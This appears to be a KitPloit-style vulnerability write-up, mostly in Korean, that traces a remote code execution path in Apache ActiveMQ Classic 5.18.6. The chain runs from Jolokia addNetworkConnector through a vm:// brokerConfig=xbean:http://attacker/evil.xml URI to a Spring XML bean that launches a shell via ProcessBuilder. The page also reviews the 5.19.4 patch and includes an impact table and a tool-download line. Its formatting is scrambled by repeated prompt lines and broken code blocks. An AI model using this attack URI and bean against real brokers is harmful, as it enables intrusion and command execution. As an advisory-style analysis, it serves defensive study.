root@kitploit:~
취약한 메서드는:```java
// activemq-broker/src/main/java/org/apache/activemq/transport/vm/VMTransportFactory.java
public Transport doCompositeConnect(URI location) throws Exception

메서드는 vm:// URI를 파싱하고, 쿼리 매개변수를 추출하며, brokerConfig를 브로커 생성 URI로 취급합니다:```java host = extractHost(location); options = URISupport.parseParameters(location); String config = options.remove("brokerConfig"); if (config != null) { brokerURI = new URI(config); } else { Map<String, Object> brokerOptions = IntrospectionSupport.extractProperties(options, "broker."); brokerURI = new URI("broker://()/" + host + "?" + URISupport.createQueryString(brokerOptions)); }

root@kitploit:~
'create' 옵션의 기본값은 `true` 입니다:```java
boolean create = true;
...
if ("false".equals(options.remove("create"))) {
    create = false;
}

요청된 VM 호스트에 대한 브로커가 존재하지 않으면, VMTransportFactory가 하나를 생성합니다:```java broker = lookupBroker(BrokerRegistry.getInstance(), host, waitForStart); if (broker == null) { if (!create) { throw new IOException("Broker named '" + host + "' does not exist."); } try { if (brokerFactoryHandler != null) { broker = brokerFactoryHandler.createBroker(brokerURI); } else { broker = BrokerFactory.createBroker(brokerURI); } broker.start(); MDC.put("activemq.broker", broker.getBrokerName()); } catch (URISyntaxException e) { throw IOExceptionSupport.create(e); } BROKERS.put(host, broker); BrokerRegistry.getInstance().getRegistryMutext().notifyAll(); }

root@kitploit:~
이는 전송 수준의 권한 경계 실패입니다. 관리 평면을 통해 제공된 URI가 VM 전송에 의해 임의의 구성 URI에서 브로커를 생성하라는 명령으로 평가됩니다.

나머지 매개변수 유효성 검사는 브로커 생성 후에 발생합니다:```java
if (!options.isEmpty()) {
    throw new IllegalArgumentException("Invalid connect parameters: " + options);
}
return transport;

해당 검증은 brokerConfig를 통한 코드 실행을 막을 수 없습니다. 그 이유는 brokerConfig가 이미 options에서 제거되어 이 검사가 실행되기 전에 소비되었기 때문입니다.

업스트림 발견 경로는:```java // activemq-broker/src/main/java/org/apache/activemq/network/DiscoveryNetworkConnector.java remoteTransport = TransportFactory.connect(connectUri);

root@kitploit:~
For `static:(...)`, `SimpleDiscoveryAgent.start()`는 설정된 각 서비스를 즉시 방출합니다:```java
// activemq-client/src/main/java/org/apache/activemq/transport/discovery/simple/SimpleDiscoveryAgent.java
public void start() throws Exception {
    taskRunner = new TaskRunnerFactory();
    taskRunner.init();

    running.set(true);
    for (int i = 0; i < services.length; i++) {
        listener.onServiceAdd(new SimpleDiscoveryEvent(services[i]));
    }
}

DiscoveryNetworkConnector.onServiceAdd() 그런 다음 공격자가 제어하는 내부 URI에 연결합니다.


브로커 생성 흐름

브로커 생성은 다음에 의해 처리됩니다:```java // activemq-broker/src/main/java/org/apache/activemq/broker/BrokerFactory.java public static BrokerService createBroker(URI brokerURI) throws Exception { return createBroker(brokerURI, false); }

public static BrokerService createBroker(URI brokerURI, boolean startBroker) throws Exception { if (brokerURI.getScheme() == null) { throw new IllegalArgumentException("Invalid broker URI, no scheme specified: " + brokerURI); } BrokerFactoryHandler handler = createBrokerFactoryHandler(brokerURI.getScheme()); BrokerService broker = handler.createBroker(brokerURI); if (startBroker) { broker.start(); } return broker; }

root@kitploit:~
핸들러 조회는 스키마 기반입니다:```java
private static final FactoryFinder BROKER_FACTORY_HANDLER_FINDER =
    new FactoryFinder("META-INF/services/org/apache/activemq/broker/");

public static BrokerFactoryHandler createBrokerFactoryHandler(String type) throws IOException {
    try {
        return (BrokerFactoryHandler)BROKER_FACTORY_HANDLER_FINDER.newInstance(type);
    } catch (Throwable e) {
        throw IOExceptionSupport.create("Could not load " + type + " factory:" + e, e);
    }
}

xbean: URI의 경우, 서비스 디스크립터는 XBeanBrokerFactory에 매핑됩니다:```properties

activemq-broker/src/main/resources/META-INF/services/org/apache/activemq/broker/xbean

class=org.apache.activemq.xbean.XBeanBrokerFactory

root@kitploit:~
정확한 정적 호출 흐름:```text
BrokerView.addNetworkConnector(String)
  -> BrokerService.addNetworkConnector(String)
  -> BrokerService.addNetworkConnector(URI)
  -> DiscoveryNetworkConnector.<init>(URI)
  -> DiscoveryNetworkConnector.handleStart()
  -> SimpleDiscoveryAgent.start()
  -> DiscoveryNetworkConnector.onServiceAdd(DiscoveryEvent)
  -> TransportFactory.connect(URI)
  -> VMTransportFactory.doConnect(URI)
  -> VMTransportFactory.doCompositeConnect(URI)
  -> BrokerFactory.createBroker(URI)
  -> BrokerFactory.createBroker(URI, boolean)
  -> XBeanBrokerFactory.createBroker(URI)

핵심 전환은:```text vm://evil?brokerConfig=xbean:http://attacker/evil.xml

root@kitploit:~
대상:```text
BrokerFactory.createBroker(new URI("xbean:http://attacker/evil.xml"))

Spring XBean 분석

관련 XBean 팩토리는 다음과 같습니다:```java // activemq-spring/src/main/java/org/apache/activemq/xbean/XBeanBrokerFactory.java public class XBeanBrokerFactory implements BrokerFactoryHandler

root@kitploit:~
`createBroker()`는 `xbean:` URI의 스키마 특정 부분을 추출하고, 브로커를 포함하는지 확인하기 전에 Spring 애플리케이션 컨텍스트를 생성합니다:```java
public BrokerService createBroker(URI config) throws Exception {
    String uri = config.getSchemeSpecificPart();
    if (uri.lastIndexOf('?') != -1) {
        IntrospectionSupport.setProperties(this, URISupport.parseQuery(uri));
        uri = uri.substring(0, uri.lastIndexOf('?'));
    }

    ApplicationContext context = createApplicationContext(uri);

    BrokerService broker = null;
    try {
        broker = (BrokerService)context.getBean("broker");
    } catch (BeansException e) {
    }
    ...
}

위험한 sink는 createApplicationContext()입니다:```java protected ApplicationContext createApplicationContext(String uri) throws MalformedURLException { Resource resource = Utils.resourceFromString(uri); LOG.debug("Using " + resource + " from " + uri); try { return new ResourceXmlApplicationContext(resource) { @Override protected void initBeanDefinitionReader(XmlBeanDefinitionReader reader) { reader.setValidating(isValidate()); } }; } catch (FatalBeanException errorToLog) { LOG.error("Failed to load: " + resource + ", reason: " + errorToLog.getLocalizedMessage(), errorToLog); throw errorToLog; } }

root@kitploit:~
원격 리소스는 `Utils.resourceFromString()`을 통해 허용됩니다:```java
// activemq-spring/src/main/java/org/apache/activemq/spring/Utils.java
public static Resource resourceFromString(String uri) throws MalformedURLException {
    Resource resource;
    File file = new File(uri);
    if (file.exists()) {
        resource = new FileSystemResource(uri);
    } else if (ResourceUtils.isUrl(uri)) {
        try {
            resource = new UrlResource(ResourceUtils.getURL(uri));
        } catch (FileNotFoundException e) {
            MalformedURLException malformedURLException = new MalformedURLException(uri);
            malformedURLException.initCause(e);
            throw  malformedURLException;
        }
    } else {
        resource = new ClassPathResource(uri);
    }
    return resource;
}

그러므로:```text xbean:http://192.168.1.32:9999/evil.xml

root@kitploit:~
다음과 같이 축소됩니다:```text
http://192.168.1.32:9999/evil.xml

그리고 Spring UrlResource로 로드됩니다.

reader.setValidating(isValidate()) 호출은 Spring의 XmlBeanDefinitionReader에서 XML 유효성 검사 모드만 제어합니다. 이 호출은 빈 클래스, 생성자 인수, 생명주기 메서드 또는 원격 URL 리소스를 제한하지 않습니다.


Spring Bean 인스턴스화 분석

ActiveMQ 5.18.6은 선언합니다:```xml 5.3.39 4.25

root@kitploit:~
XBean 4.25에서 `ResourceXmlApplicationContext`는 생성자에서 `refresh()`를 호출합니다:```java
// org/apache/xbean/spring/context/ResourceXmlApplicationContext.java
public ResourceXmlApplicationContext(Resource resource, List xmlPreprocessors) {
    super();
    this.xmlPreprocessors = xmlPreprocessors;
    this.resource = resource;
    refresh();
}

제공된 리소스에서 bean 정의를 로드합니다:```java protected void loadBeanDefinitions(XmlBeanDefinitionReader reader) throws BeansException, IOException { reader.loadBeanDefinitions(resource); }

root@kitploit:~
Spring의 `AbstractApplicationContext.refresh()`는 그런 다음 빈 팩토리를 초기화하고 지연되지 않는 싱글톤 빈들을 인스턴스화합니다:```java
// org/springframework/context/support/AbstractApplicationContext.java
// Instantiate all remaining (non-lazy-init) singletons.
finishBeanFactoryInitialization(beanFactory);

finishBeanFactoryInitialization() 호출:```java beanFactory.preInstantiateSingletons();

root@kitploit:~
`DefaultListableBeanFactory.preInstantiateSingletons()`는 모든 비추상, 싱글톤, 비지연 빈을 생성합니다:```java
for (String beanName : beanNames) {
    RootBeanDefinition bd = getMergedLocalBeanDefinition(beanName);
    if (!bd.isAbstract() && bd.isSingleton() && !bd.isLazyInit()) {
        ...
        getBean(beanName);
    }
}

빈 초기화 중에 Spring은 사용자 정의 init 메서드를 호출합니다:```java // org/springframework/beans/factory/support/AbstractAutowireCapableBeanFactory.java protected Object initializeBean(String beanName, Object bean, @Nullable RootBeanDefinition mbd) { ... invokeInitMethods(beanName, wrappedBean, mbd); ... }

root@kitploit:~
사용자 정의 init 메서드는 빈 정의에서 해석됩니다:```java
String initMethodName = mbd.getInitMethodName();
if (StringUtils.hasLength(initMethodName) &&
        !(isInitializingBean && "afterPropertiesSet".equals(initMethodName)) &&
        !mbd.hasAnyExternallyManagedInitMethod(initMethodName)) {
    invokeCustomInitMethod(beanName, bean, mbd);
}

invokeCustomInitMethod()는 리플렉션을 통해 메서드를 호출합니다:```java ReflectionUtils.makeAccessible(methodToInvoke); methodToInvoke.invoke(bean);

root@kitploit:~
악의적인 Spring XML bean 예:```xml
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
        <list>
            <value>sh</value>
            <value>-c</value>
            <value>touch /tmp/blahblah.txt</value>
        </list>
    </constructor-arg>
</bean>

다음과 같은 동작을 유발합니다:```text ResourceXmlApplicationContext constructor -> refresh() -> XmlBeanDefinitionReader.loadBeanDefinitions() -> DefaultListableBeanFactory.preInstantiateSingletons() -> getBean("exec") -> instantiate java.lang.ProcessBuilder -> initializeBean() -> invokeInitMethods() -> invokeCustomInitMethod("start") -> ProcessBuilder.start()

root@kitploit:~
이것은 `XBeanBrokerFactory.createBroker()`가 `BrokerService` 빈을 찾아 결과 컨텍스트를 검증하기 전에 발생합니다:```java
ApplicationContext context = createApplicationContext(uri);

BrokerService broker = null;
try {
    broker = (BrokerService)context.getBean("broker");
} catch (BeansException e) {
}

if (broker == null) {
    String[] names = context.getBeanNamesForType(BrokerService.class);
    ...
}

if (broker == null) {
    throw new IllegalArgumentException("The configuration has no BrokerService instance for resource: " + config);
}

브로커 검증은 Spring 컨텍스트 새로고침 이후에 발생합니다. 결과적으로, 설정이 임의의 init 메서드를 실행할 수 있지만 이후에 유효하지 않은 브로커 설정으로 거부될 수 있습니다.


근본 원인 분석

근본 원인은 원격으로 호출 가능한 관리 작업과 신뢰할 수 있는 로컬 브로커 부트스트랩 메커니즘 간의 안전하지 않은 아키텍처적 연결입니다.

취약한 설계는 다음과 같은 속성을 갖습니다:

  • Jolokia는 ActiveMQ 브로커 관리 MBean에 대한 JMX exec 작업을 노출합니다.
  • BrokerView.addNetworkConnector(String)은 공격자가 제어하는 URI 입력을 받아들입니다.
  • URI는 관리 평면에서 위험한 전송 체계에 대한 제한 없이 ActiveMQ 네트워킹 코드로 전달됩니다.
  • static:(...) 디스커버리는 네트워크 커넥터가 시작될 때 포함된 URI가 자동으로 연결되도록 합니다.
  • vm:// 전송은 인-메모리 전송일 뿐만 아니라, 명명된 VM 브로커가 없을 때 브로커를 자동 생성하는 기능도 지원합니다.
  • VMTransportFactory는 brokerConfig를 브로커 팩토리 URI로 처리하고 BrokerFactory.createBroker()로 전달합니다.
  • BrokerFactory는 XBeanBrokerFactory를 통해 xbean: URI를 지원합니다.
  • XBeanBrokerFactory는 URL 리소스를 받아들이고 Spring ResourceXmlApplicationContext를 구성합니다.
  • Spring은 컨텍스트 새로고침 중에 싱글톤 빈을 즉시 인스턴스화하고 사용자 정의 init 메서드를 호출합니다.

이는 단순히 "부적절한 입력 검증"만으로는 설명할 수 없습니다. 취약한 동작은 설정 가능한 URI 인터프리터를 런타임 JMX 작업을 통해 노출하고, 해당 인터프리터가 Spring 빈 생명주기 실행에 도달할 수 있도록 허용함으로써 발생합니다.

정확한 실패 지점은 관리 API가 discoveryAddress를 커넥터 주소로 취급하지만, 하위 전송 스택이 이를 실행 가능한 설정으로 취급한다는 점입니다. 익스플로잇 경로에서 문자열은 다음과 같이 평가됩니다:```text network connector URI -> discovery service URI -> VM transport URI -> broker creation URI -> XBean Spring resource URI -> Spring bean definitions -> Java object lifecycle methods

root@kitploit:~
유효성 검사가 너무 늦게 발생합니다. 그 이유는 `XBeanBrokerFactory`에서 유일한 브로커 구성 검증이 다음 이후에 발생하기 때문입니다:```java
new ResourceXmlApplicationContext(resource)

그리고 그 생성자는 다음을 수행합니다:```text refresh() -> preInstantiateSingletons() -> init-method invocation

root@kitploit:~
By the time ActiveMQ determines that the XML has no valid `BrokerService`, attacker-controlled Spring beans may already have executed.

---

### 패치 분석

The relevant diff was reviewed with:```bash
git diff activemq-5.18.6..activemq-5.19.4

보안 관련 변경 사항은 다음과 같습니다:```text activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerView.java

root@kitploit:~
5.18.6에서 `addNetworkConnector()`는 문자열을 직접 전달했습니다:```java
public String addNetworkConnector(String discoveryAddress) throws Exception {
    NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress);
    ...
    connector.start();
    return connector.getName();
}

5.19.4에서는 BrokerService를 호출하기 전에 검증이 추가되었습니다:```diff public String addNetworkConnector(String discoveryAddress) throws Exception {

  • // Verify VM transport is not used
  • validateAllowedUrl(discoveryAddress); NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress);
root@kitploit:~
동일한 유효성 검사가 `addConnector()`에 추가되었습니다:```diff
 public String addConnector(String discoveryAddress) throws Exception {
+    // Verify VM transport is not used
+    validateAllowedUrl(discoveryAddress);
     TransportConnector connector = brokerService.addConnector(discoveryAddress);

검증기가 vm 전송 방식을 거부합니다:```java private static void validateAllowedUrl(String uriString) throws URISyntaxException { validateAllowedUri(new URI(uriString), 0); }

// Validate the URI does not contain VM transport private static void validateAllowedUri(URI uri, int depth) throws URISyntaxException { // Don't allow more than 5 nested URIs to prevent blowing the stack if (depth > 5) { throw new IllegalArgumentException("URI can't contain more than 5 nested composite URIs"); }

root@kitploit:~
// First check the main URI scheme
validateAllowedScheme(uri.getScheme());

// If composite, iterate and check each of the composite URIs
if (URISupport.isCompositeURI(uri)) {
    URISupport.CompositeData data = URISupport.parseComposite(uri);
    depth++;
    for (URI component : data.getComponents()) {
        if (URISupport.isCompositeURI(uri)) {
            validateAllowedUri(component, depth);
        } else {
            validateAllowedScheme(uri.getScheme());
        }
    }
}

}

// We don't allow VM transport scheme to be used private static void validateAllowedScheme(String scheme) { if (scheme.equals("vm")) { throw new IllegalArgumentException("VM scheme is not allowed"); } }

root@kitploit:~
패치된 실행 경로는 다음과 같습니다:```text
Jolokia exec
  -> BrokerView.addNetworkConnector(String)
  -> validateAllowedUrl(String)
  -> validateAllowedUri(URI)
  -> validateAllowedScheme("vm")
  -> IllegalArgumentException("VM scheme is not allowed")

이것은 요청이 도달하기 전에 익스플로잇을 차단합니다:```text BrokerService.addNetworkConnector() DiscoveryNetworkConnector.start() TransportFactory.connect() VMTransportFactory.doCompositeConnect() BrokerFactory.createBroker() XBeanBrokerFactory.createApplicationContext() ResourceXmlApplicationContext.refresh()

root@kitploit:~
이 패치는 VM 전송 지원을 전역적으로 제거하지 않습니다. JMX를 통해 노출된 `BrokerView` 커넥터 생성 메서드를 통한 `vm://` 사용을 제한합니다. VM 전송을 사용하는 내부 또는 신뢰된 코드 경로는 여전히 존재합니다.

`VMTransportFactory.doCompositeConnect()`에는 5.18.6과 5.19.4 사이에 보안 관련 변경이 이루어지지 않았습니다. `brokerConfig` 동작은 그대로 유지됩니다:```java
String config = options.remove("brokerConfig");
if (config != null) {
    brokerURI = new URI(config);
}
...
broker = BrokerFactory.createBroker(brokerURI);

이 diff에서는 XBeanBrokerFactory.createApplicationContext()에 보안 관련 변경이 이루어지지 않았습니다. 원격 URL 리소스와 Spring ResourceXmlApplicationContext 동작은 신뢰할 수 있는 브로커 구성 로딩에 계속 사용 가능합니다.

BrokerFactory가 원시 FactoryFinder에서 타입화된 FactoryFinder<BrokerFactoryHandler>로 변경되었습니다:```diff

  • private static final FactoryFinder BROKER_FACTORY_HANDLER_FINDER =
  • root@kitploit:~
    new FactoryFinder("META-INF/services/org/apache/activemq/broker/");
    
  • private static final FactoryFinder BROKER_FACTORY_HANDLER_FINDER
  • root@kitploit:~
    = new FactoryFinder<>("META-INF/services/org/apache/activemq/broker/",
    
  • root@kitploit:~
    BrokerFactoryHandler.class, null);
    
root@kitploit:~
이는 타입 안전성 정리 작업이지, RCE 완화가 아닙니다. `XBeanBrokerFactory`로의 스킴 기반 디스패치는 유지됩니다.

`BrokerService`는 일부 경로에서 커넥터 시작을 위한 `isAutoStart()` 검사를 추가했습니다:```diff
- connector.start();
+ if(connector.isAutoStart()) {
+     connector.start();
+ }

이것은 Jolokia-to-RCE 경로에 대한 주요 수정 사항이 아닙니다. 주요 완화 조치는 BrokerView에서 vm://의 사전 디스패치 거부입니다.

패치 동작 요약:

  • 5.18.6: BrokerView.addNetworkConnector()는 static:(vm://...?brokerConfig=xbean:http://...)을 수락하고 이를 다운스트림으로 전달합니다.
  • 5.19.4: BrokerView.addNetworkConnector()는 커넥터 생성 전에 제공된 URI를 검증하고 중첩된 vm:// 사용을 거부합니다.
  • 5.18.6: VMTransportFactory는 JMX 경로에서 도달한 공격자가 제어하는 brokerConfig를 소비할 수 있습니다.
  • 5.19.4: VMTransportFactory는 여전히 brokerConfig를 지원하지만, 노출된 JMX 경로는 VM 전송 해결 전에 차단됩니다.

정적 분석 결론

ActiveMQ Classic 5.18.6의 정확한 취약 코드 경로는 다음과 같습니다:```text HTTP POST /api/jolokia/ -> Jolokia exec operation -> org.apache.activemq:type=Broker,brokerName= -> BrokerView.addNetworkConnector(String) -> BrokerService.addNetworkConnector(String) -> BrokerService.addNetworkConnector(URI) -> DiscoveryNetworkConnector.setUri(URI) -> DiscoveryAgentFactory.createDiscoveryAgent(URI) -> SimpleDiscoveryAgentFactory.doCreateDiscoveryAgent(URI) -> BrokerView.addNetworkConnector(): connector.start() -> DiscoveryNetworkConnector.handleStart() -> SimpleDiscoveryAgent.start() -> DiscoveryNetworkConnector.onServiceAdd(DiscoveryEvent) -> TransportFactory.connect(URI) -> VMTransportFactory.doConnect(URI) -> VMTransportFactory.doCompositeConnect(URI) -> BrokerFactory.createBroker(URI) -> XBeanBrokerFactory.createBroker(URI) -> XBeanBrokerFactory.createApplicationContext(String) -> Utils.resourceFromString(String) -> new ResourceXmlApplicationContext(Resource) -> XmlBeanDefinitionReader.loadBeanDefinitions(Resource) -> AbstractApplicationContext.refresh() -> DefaultListableBeanFactory.preInstantiateSingletons() -> AbstractAutowireCapableBeanFactory.invokeCustomInitMethod() -> ProcessBuilder.start()

root@kitploit:~
Exploitation is possible because ActiveMQ exposes a management operation that accepts a connector URI, but the downstream transport implementation can interpret that URI as broker creation configuration. The `brokerConfig` parameter crosses from transport connection logic into broker factory logic. With an `xbean:` value, it crosses again into Spring XML processing.

The Spring execution primitive is not a separate deserialization bug. It is normal Spring lifecycle behavior: a non-lazy singleton bean is instantiated during context refresh, and its configured `init-method` is invoked. A `java.lang.ProcessBuilder` bean with `init-method="start"` therefore executes a process during application context initialization.

The validation failure is an ordering flaw. ActiveMQ validates whether the XBean configuration contains a usable `BrokerService` only after `ResourceXmlApplicationContext` has already loaded the XML and initialized singleton beans. Rejection of the broker configuration after refresh does not undo side effects from bean lifecycle methods.

The 5.19.4 patch mitigates this specific path by adding URI validation in `BrokerView` before connector creation and rejecting `vm://` transport usage from the JMX management surface. The patch blocks the exposed path to `VMTransportFactory.doCompositeConnect()`; it does not remove `brokerConfig`, `xbean:` support, or Spring XBean loading from trusted internal configuration paths.
도구 다운로드
기능악용 방법
addNetworkConnector()공격자가 제어하는 URI 허용
vm:// 전송동적 브로커 생성 트리거
brokerConfig=임의의 브로커 구성 로드
xbean:Spring XML 로더 호출
원격 HTTP URL공격자가 제어하는 XML 가져오기
영향설명
원격 코드 실행임의 명령어 실행
컨테이너 손상ActiveMQ 컨테이너의 완전한 손상
자격 증명 도용브로커 자격 증명 및 비밀 정보 접근
측면 이동인접 시스템으로의 피벗
지속성악성 네트워크 커넥터 생성
데이터 노출브로커 메시지 및 큐 접근
  • XBeanBrokerFactory: xbean: 브로커 구성 URI를 처리하고 Spring/XBean 애플리케이션 컨텍스트를 생성합니다.
  • ResourceXmlApplicationContext: XML 리소스를 로드하고 Spring 빈 팩토리 리프레시를 수행하며, eager 싱글톤 생성을 포함합니다.
  • ActiveMQ는 Spring이 이미 컨텍스트를 초기화한 후에야 컨텍스트에 유효한 BrokerService가 포함되어 있는지 확인합니다.